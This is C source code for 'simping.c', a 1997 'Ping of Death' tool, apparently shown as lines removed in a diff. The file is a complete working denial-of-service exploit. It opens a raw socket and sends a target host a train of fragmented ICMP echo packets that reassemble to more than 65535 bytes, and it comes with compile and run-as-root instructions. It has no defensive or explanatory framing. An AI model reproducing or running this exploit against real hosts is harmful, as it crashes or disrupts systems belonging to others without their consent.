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- /*
- * simping.c
- * Adapted by Simple Nomad <thegnome@fastlane.net> 11-Feb-1997
- *
- * Simulate the evil win95 "ping -l 65510 buggyhost".
- * Based off of win95ping.c by Bill Fenner <fenner@freebsd.org> 22-Oct-1996
- *
- * compile using "cc -o evilping simping.c"
- *
- * Must be run as root to properly grab socket.
- *
- */
- #define __BSD_SOURCE
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
-
- #define IP_MF 0x2000
-
- /*
- * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
- */
- #ifdef REALLY_RAW
- #define FIX(x) htons(x)
- #else
- #define FIX(x) (x)
- #endif
-
- int
- main(int argc, char **argv)
- {
- int s;
- char buf[1500];
- struct ip *ip = (struct ip *)buf;
- struct icmphdr *icmphdr = (struct icmphdr *)(ip + 1);
- struct hostent *hp;
- struct sockaddr_in dst;
- int offset;
- int on = 1;
-
- bzero(buf, sizeof buf);
-
- if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
- perror("socket");
- exit(1);
- }
- if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
- perror("IP_HDRINCL");
- exit(1);
- }
- if (argc != 2) {
- fprintf(stderr, "usage: %s hostname\n", argv[0]);
- exit(1);
- }
- if ((hp = gethostbyname(argv[1])) == NULL) {
- if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
- fprintf(stderr, "%s: unknown host\n", argv[1]);
- }
- } else {
- bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
- }
- printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
- ip->ip_v = 4;
- ip->ip_hl = sizeof *ip >> 2;
- ip->ip_tos = 0;
- ip->ip_len = FIX(sizeof buf);
- ip->ip_id = htons(4321);
- ip->ip_off = FIX(0);
- ip->ip_ttl = 255;
- ip->ip_p = 1;
- ip->ip_csum = 0; /* kernel fills in */
- ip->ip_src.s_addr = 0; /* kernel fills in */
-
- dst.sin_addr = ip->ip_dst;
- dst.sin_family = AF_INET;
-
- icmphdr->type = ICMP_ECHO;
- icmphdr->code = 0;
- icmphdr->checksum = htons(~(ICMP_ECHO << 8));
- /* the checksum of all 0's is easy to compute */
-
- for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
- ip->ip_off = FIX(offset >> 3);
- if (offset < 65120)
- ip->ip_off |= FIX(IP_MF);
- else
- ip->ip_len = FIX(418); /* make total 65538 */
- if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
- sizeof dst) < 0) {
- fprintf(stderr, "offset %d: ", offset);
- perror("sendto");
- }
- if (offset == 0) {
- icmphdr->type = 0;
- icmphdr->code = 0;
- icmphdr->checksum = 0;
- }
- }
- }
-
-
-